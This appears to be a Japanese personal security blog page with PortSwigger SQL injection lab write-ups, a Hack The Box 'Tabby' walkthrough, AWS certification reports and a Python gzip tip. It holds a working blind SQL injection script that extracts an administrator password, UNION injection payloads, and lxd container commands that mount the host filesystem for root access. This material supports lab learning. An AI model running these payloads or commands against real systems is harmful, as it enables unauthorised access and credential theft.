shinobe179の日記

@shinobe179 の技術メモ・やらかし録

Blind SQL injection with conditional responses

はじめに

「Blind SQL injection with conditional responses」のWriteupです。SUBSTRING() をあまりちゃんと分かっていなかったので、よい学びになりました。

Summary

  • Blind SQL injection: クエリの結果を、ログなどの明示的な要素ではなく、レスポンスの差異などの暗黙的な要素から推測する手法
    • クエリにブール値を含める
    • 条件付きでゼロ除算などでエラーを発生させる
    • 条件付きで時間遅延を発生させる
    • OAST(Out-of-bound Application Security Testing): テスト対象が意図しない宛先に対して送信したパケットを検査する(Burp Collaboratorで可能だが割愛)
  • SUBSTRING((), offset, length)
    • offset: 何文字目を先頭にするか
    • length: offset から何文字目まで取り出すか

試したいこと

  • Burp suiteだけで解く
    • Solutionを見るとどうやらBurpだけでやる前提なので(きっと全ての問題がそう)。
  • 並列処理で解く
  • 二分探索で解く

Writeup

目的と事前情報は以下の通りです。

  • administrator ユーザーでログインすること。
  • ユーザー情報は users テーブルに格納されていて、username 列 と password 列で構成されている。

スタート。

f:id:befs_anne:20210413010047p:plain

ログイン画面。

f:id:befs_anne:20210413010135p:plain

SessionIdにBurpを使ってtrueになるようなクエリ( AND 1=1 -- )を加えてリクエストします。この場合は "Welcome back!" という文字列が含まれていますが……。

f:id:befs_anne:20210413010253p:plain

falseになるようなクエリ( AND 1=2 -- )では含まれません。この挙動差異を使ってBlind SQL injectionできます。

f:id:befs_anne:20210413010535p:plain

コードを書きました。候補文字列はとりあえず英数字・記号としています。

import requests
import string

url = 'https://thisislaburl.web-security-academy.net/login'
tracking_id = 'thisistrackingid'
session_id = 'thisissessionid'
cookies = dict(TrackingId=tracking_id, session=session_id)


def run():
    chars = string.printable[:95]
    print(chars)
    ans = ''
    for i in range(1, 100):
        print(f'[*] try {i}, ans is "{ans}".')
        for char in chars:
            q = f"' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), {i}, 1) = '{char}'--"
            print(f'[*] query is {q}.')
            cookies = dict(TrackingId=tracking_id + q, session=session_id)
            resp = requests.get(url, cookies=cookies)
            if 'Welcome back!' in resp.text:
                ans += char
                print(ans)
                break
            

if __name__ == '__main__':
    run()

実行。しばらく待つとそれらしい文字列が出てきました。

$ python3 ./bsqli_solver.py 
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ 
[*] try 1, ans is "".
[*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = '0'--.
[*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = '1'--.
[*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = '2'--.
...
...
...
[*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 21, 1) = ';'--.
ivvyuc0s4z8mi49ytu9m;
[*] try 22, ans is "ivvyuc0s4z8mi49ytu9m;".

administratorivvyuc0s4z8mi49ytu9m でログイン成功しました。

f:id:befs_anne:20210413011816p:plain

SQL injection attack, querying the database type and version on MySQL and Microsoft

はじめに

SQL injection attack, querying the database type and version on MySQL and Microsoft」のWriteupです。やってることは前回とほとんど変わりませんが、学びがあったので記事にします。

Summary

  • MySQLMicrosoft SQLでバージョンを表示するには SELECT @@version
  • MySQLの1行コメントは #--
    • # の場合、ブラウザのURLバーからだと送信されないことに注意。プロキシツール必須(しばらくこれにハマってた)。
    • 二重ハイフンを使う場合、末尾に半角スペースがつくことに注意。こっちもブラウザのURLバーからだと末尾の半角スペースが送信されないので、プロキシツール必須。
  • Microsoft SQLの1行コメントは -- 。こっちは末尾の半角スペース不要。

Writeup

スタート。

f:id:befs_anne:20210411211344p:plain

ORDER BY 句を使って、正常通信で取得している値の数を確認。前回同様3でエラーが起きたので、SELECTの引数は2つ必要です。

category=' ORDER BY 3 #

UNION SELECT FROM @@version # に、帳尻合わせで NULL を加えます。

category=' UNION SELECT @@version, NULL #

f:id:befs_anne:20210411211746p:plain

SQL injection attack, querying the database type and version on Oracle

はじめに

ウェブセキュリティの勉強のために、PortSwigger Web Security Academyを地道に進めていこうと思います。

今日は「SQL injection attack, querying the database type and version on Oracle」というラボのWriteupです。

portswigger.net

Summary

  • Oracleのコメントは --
  • Oracleでバージョンを表示するには SELECT * FROM v$version

Writeup

列の数を確認。3でエラーが出たので、SELECTの引数は2つ必要。

category=' ORDER BY 3 --

列数の帳尻を合わせるために、 SELECT の引数に 'a' を足して実行。

category=' UNION SELECT banner, 'a' FROM v$version --

f:id:befs_anne:20210411200531p:plain

参考

https://portswigger.net/web-security/sql-injection/cheat-sheet

「AWS 認定 高度なネットワーキング – 専門知識」(AWS Certified Advanced Networking Specialty)に合格しました

はじめに

先日、AWS Certified Advanced Networking Specialtyの試験を受けて、スコア801でpassしました。受験体験記です。

aws.amazon.com

モチベーション

  • (月並みだけど)自分の業務やキャリアアップのため
  • 知識ゼロの状態からリファレンス読むのが苦手なので、脳内にインデックスだけでも貼っておきたい
  • ネットワーク知識がVPC、WAF、Direct Connect周りに偏っていて、EC2やCloudFront、その他死角を確認したい
  • とりあえずネットワークと名の付くものは抑えておかなきゃならないという焦燥感

合格までのプロセス

結論から言うと、プロセスも何もほぼノー勉で合格しました。ドヤァ……と思われるかもしれませんが、事実なのだから仕方がない。

スタート地点(普段何をしているか)

先日Security Specialtyを取った時に書いた記事の通りです。

befs-anne.hatenablog.com

今回向けに補足するとすれば、

  • ネットワークを主軸にやっていたときは、CCNP持ちとしてルーターやスイッチ、ファイアウォールなどの設計・構築・運用をやっていました。AWSでは、VPC周りは基本として、オンプレミスとAWSをDirect Connectで繋げるハイブリッドクラウド設計・導入を手掛けたりしていました。
  • セキュリティを始めてからは、広くAWS環境のセキュリティ設計・運用に携わる中で、とりわけネットワークに近いレイヤで言うとVPCAWS WAFに慣れています。
  • BGPが好きで、BGPオペレーターに憧れと畏敬の念を抱いています。

サンプル問題

まずは前回と同じくサンプル問題を解きました。10問中8問合格でした。この時点で行けそうだなーと思って、翌週末に試験を予約しました。

模試……はなかった

模試を回して問題に慣れようと思ったのですが、Advanced Networking Specialtyの模試は提供されていないようです。なんで?

問題集……は直前に買ったけどやる時間が全くなかった

以下の公式問題集を買ったのですが、仕事が立て込んでしまって一切読まなかったです。Kindleにダウンロードすらしていない。

https://www.amazon.co.jp/Certified-Advanced-Networking-Official-Study-ebook/dp/B079VKD1CN/ref=tmm_kin_swatch_0

試験

Security Specialtyより難しかったです。Direct Connectの問題が多かったのは幸いでしたが、AWSのサービスの知識ではなく、AWSを使った大規模ネットワーク設計のベストプラクティスを求められるような問題が多くて、これが地味に悩みます。そのうえ、純粋にTCP/IPの知識を求められるような問題も出るので、AWSの勉強だけで挑むと取りこぼしがかさんで不合格……ということが十分に起こり得ます。

おわりに

持っててよかったCCNP(失効したけど)!やっててよかったDirect Connect!って感じの試験でした。エンジニアとしてのキャリアをAWSから始めた若い方には難しい反面、私のようなネットワークおじさんが、これまでの経験をAWSでも活かすとっかかりとして、よい認定資格だと思います。

次は……DeveloperとSysOpsかな?がんばります。

「AWS 認定 セキュリティ – 専門知識」(AWS Certified Security Specialty)に合格しました

はじめに

先日、AWS Security Specialtyの試験を受けて、スコア921でpassしました。受験体験記です。

aws.amazon.com

モチベーション

  • (月並みだけど)自分の業務やキャリアアップのため
  • 知識ゼロの状態からリファレンス読むのが苦手なので、脳内にインデックスだけでも貼っておきたい
  • IAMやKMSなど、AWSセキュリティにおけるベーステクノロジーの基礎固めがしたい
  • とりあえずセキュリティと名の付くものは抑えておかなきゃならないという焦燥感

合格までのプロセス

スタート地点(普段何をしているか)

事業会社で主にプロダクトセキュリティの企画・運用をやっています。出自はネットワークで、ここ2〜3年でセキュリティに軸足を移しました。最近AWSの利用が盛んになってきたので、会社のマニーで公式トレーニングを受けせてもらったり、ソリューションアーキテクトアソシエイトを取ったりしています。実務はアドバイザリやレビューが主軸で、時々必要に迫られて手を動かす、そんな感じです。

模試(1回目)

まずは実務のインプットだけでどこまでいけるのかを確認しようと思って、初手で模試を受けました。結果は70%。インフラセキュリティ領域は100%な反面、やはりアイデンティティ管理をはじめとしたAWS特有のセキュリティお作法の知識に難ありということが分かりました。あとは実務でノータッチのID管理系(ADとかCognitoとか)が厳しい。

テキストでお勉強

↓のテキストで地道にお勉強しました。サービス毎に要点が解説されていて、得意なVPC周りやAWS WAFは無視して、苦手なところをノート写ししてました。実務上のニーズや試験対策の意味合いで掘り下げたいときは、公式リファレンスも読みました。

https://www.amazon.co.jp/dp/B08DCLRHC7/

模試(2回目)、試験予約

2回目の模試の結果は80%。正直、思ったより伸びてなくて焦りました。しかも、「本番と比べて模試の問題は簡単」「模試100%でないと合格は無理」という恐怖情報を発見。不安がよぎりますが、「まあ1回本番受けてみんことには分からんし、予約しないとズルズル後ろ倒ししそう」と思って、1週間後に試験を予約しました。

サンプル問題

先達の受験記を眺めていると公式のサンプル問題があるとのことで、解いてみました。10問中8, 9問ぐらい正解しましたが、模試と比べてちょっと難しい気がしました。

試験

65問の多肢択一問題を180分で解きます。序盤に苦手なID管理絡みの問題が連続で出てきたり、完全に理解したと思っていたKMSの問題が多少複雑な形で出題されたりして、滝のような脇汗をかいていました。中盤から得意のインフラ系問題が出てきて、ぶっ通しで全問解き終えたところで残り1時間くらい。1問目から見直しして、残り時間5分ぐらいで自ら試験を終えました。「合格」と出て安心しました。

おわりに

結果的にスコアが900点台だったことに鑑みるに、「模試が満点じゃないと無理」なんてことはないかなと思います。ていうか、各問題の正否が公開されないのに、100%追っかけてたらキリないです。普段からAWSに関わっていて、紹介したテキスト通読して、模試で8割取れていれば、知識は十分です。あとは、問題と選択肢を精読してありえない択を切っていけばpassできるはず。

新しい学びももちろんあったけど、知っているつもりで実は曖昧だったことも分かって、取り組んだ甲斐がありました。次は高度なネットワーキングに挑戦してみようと思います。

aws.amazon.com

【Python】ファイルを作らずにデータをGzip圧縮する

はじめに

コード中で生成したデータを、Gzip圧縮してAWSのS3バケットにアップロードする必要がありました。ローカルにファイルを作ってそれを送るのが手っ取り早いんですが、ファイルを作らずに済むスマートな方法を模索していたら、こんな時間になってしまいました。記事にしたためて供養します。

方法

以下のように、 io.BytesIO() をバイト列のバッファとして宣言しておき、GzipFile() の書き込み先として指定します。バイト列の書き込みが済んだら、 io.BytesIO().read() を使ってバッファの中身をgzipファイルとして扱えばよいみたいです。

import io
from gzip import GzipFile

...

gz_io = io.BytesIO()
with GzipFile(fileobj=gz_io, mode='wb') as gz:
        gz.write(data.encode())
gz_io.seek(0)

# bucketはboto3.resource('s3').Bucket()
put_result = bucket.put_object(
    Body=gz_io.read(),
    Key=obj_key,
    ContentEncoding='gzip'
)

果たしてこれがスマートと言えるのかは追求しないことにします。ああしんどかった。

【Hack The Box二十五番勝負 Advent Calendar 2020】10日目 vs Tabby(●)

f:id:befs_anne:20201214003747p:plain

はじめに

これは、Hack The Box二十五番勝負 Advent Calendar 2020 10日目の記事です。

adventar.org

サマリ

  • 対戦相手:Tabby
  • 対戦日時:2020年12月12日 18:00 - 23:59
  • 結果:敗北
  • 主な敗因:
    • Tomcatについて無知であったがために、LFIを有効に使えなかった
  • 通算成績:10戦1勝9敗

対戦相手

今回の対戦相手は「Tabby」です。 www.hackthebox.eu

Walkthrough

※以下、解法に関するネタバレです。

自分でやったこと

情報収集

  • nmap
    • 以下のポートが開いていることを確認した。
      • SSH(22)
        • 公開鍵認証でのみログイン可能。
      • HTTP(80)
      • HTTP(8080)
        • ブラウザでアクセスすると、Tomcatのデフォルトページが表示された。
        • /manager はベーシック認証がかけられていた。
  • Dirbuster
    • ディレクトリ列挙をSmallサイズの辞書で実行したが、特段ヒントとなるようなものは見つからなかった。

侵入

  • HTTP(80)
    • トップページにリンクが貼られているニュースリリースのURLが /news.php?file=statement となっており、LFIを疑った。
    • パラメータを ../../../etc/passwd とすると、案の定 /etc/passwd の中身が表示された。一般ユーザーに ash がいることを確認した。
  • Hydra
    • ユーザー名を ash に固定し、 rockyou.txtTomcatのベーシック認証に対して辞書攻撃を実行したが、成功しなかった。

Writeup確認後

Writeupは公式のものを確認しました。

侵入

  • LFIを使って、Tomcatのユーザー定義ファイルである tomcat-users.xml を見る。パスは tomcat ubuntu installation directory などとググって確認する。
  • Tomcat/manager 配下のディレクトリをDirbusterなどで列挙すると、TomcatをHTTPで操作できる /text エンドポイントが見つかる。
  • ディレクトリ列挙もしくはググってサービスデプロイ用のエンドポイント /deploy の使用方法を確認し、Javaで書かれたウェブシェル(Githubで公開されている)をサービスとしてデプロイする(Javaでの開発をしたことがないので、一度Zipにしたり、jar コマンドでマニフェストを追加したり?といったお作法ははじめてだった。デプロイ方法の件も含めて後日要調査)。
  • ウェブシェル経由で nc/dev/tcp を使ったリバースシェルを試行するも失敗。- Writeupに従って、ローカルでなんやよう分からんワンライナーを書き下したテキストファイルを作り、リモートから wget して(chmod +xして)実行すると、tomcat ユーザーでのリバースシェルが確立した。何が違う……?

権限昇格(一般ユーザー)

  • /var/www/html/files 配下にバックアップと思しきパスワード付きZIPファイルを発見した。
  • (Writeupをちゃんと読んでいなかったので)この中にある raedme.md あたりに何か書いてあるんだろうと思い、 pkcrack (およびZIPファイルに含まれており、かつ実ファイルが手に入る logo.jpgファイル)を使った既知平文攻撃でパスワードを解除するも、中身は特に何もなかった。
  • Writeupを読むと、どうやら重要なのはZIPファイルの方だったらしい。リモートからローカルへのファイルの送信方法として、ZIPファイルのbase64ハッシュを作って、それをコピーしてローカル側でデハッシュするという手法がとられていた。こんな方法があるのか……(結局リモート側でウェブサーバーを作って、ローカルから wget してしまった)。
  • fcrackziprockyou.txt を使って辞書攻撃すると、パスワードが判明した。
  • このZIPのパスワードこそが ash ユーザーのパスワードであり、リモート側で su ash できた。ここで own user。

権限昇格(root)

  • uname -a すると lxd というグループに所属している。どうやら lxdlxc というコマンドでコンテナをデプロイできるみたい。
  • Writeupいわく、「root権限を持ったコンテナに、ホストOSのファイルシステムを丸ごとマウントして起動する」ということらしい。そんなことできるんだな……。
  • lxd用のAlpine Linuxイメージを以下のリポジトリを利用して作成し、リモートへ送信する。
  • 以下のコマンドを実行してown root。
### デーモンの起動?
### ウィザード形式で、ストレージプールを作っておく以外は全部noでよさそう(作っておかないとこのあとコンテナが作れない
$ lxd init

### イメージのインポート
$ lxc image import ./alpine-v3.12-x86_64-20201106_2000.tar.gz --alias alpine

### 管理者権限を付与(なぜ一般ユーザーでこれが可能なのか……?
$ lxc init alpine mycontainer -c security.privileged=true

### ホストOSのファイルシステムを /mnt/root にマウントする
$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

### コンテナの起動
$ lxc start mycontainer

KPT(Keep-Problem-Try)

Keep

  • LFIまでさっと辿り着けた。

Problem

  • Tomcatのデフォルトパス、たぶん全く気づかなかったわけではなくて調べるのが面倒だったんだと思う。

Try

  • 時間内は横着せず、調べる(時間になったら答えを見ればいい)。

さいごに

TomcatやLXDなど、技術的な学びの多い箱でした。ちょっと遅れをとっているので最終日までには追いつきたいです。

参考

qiita.com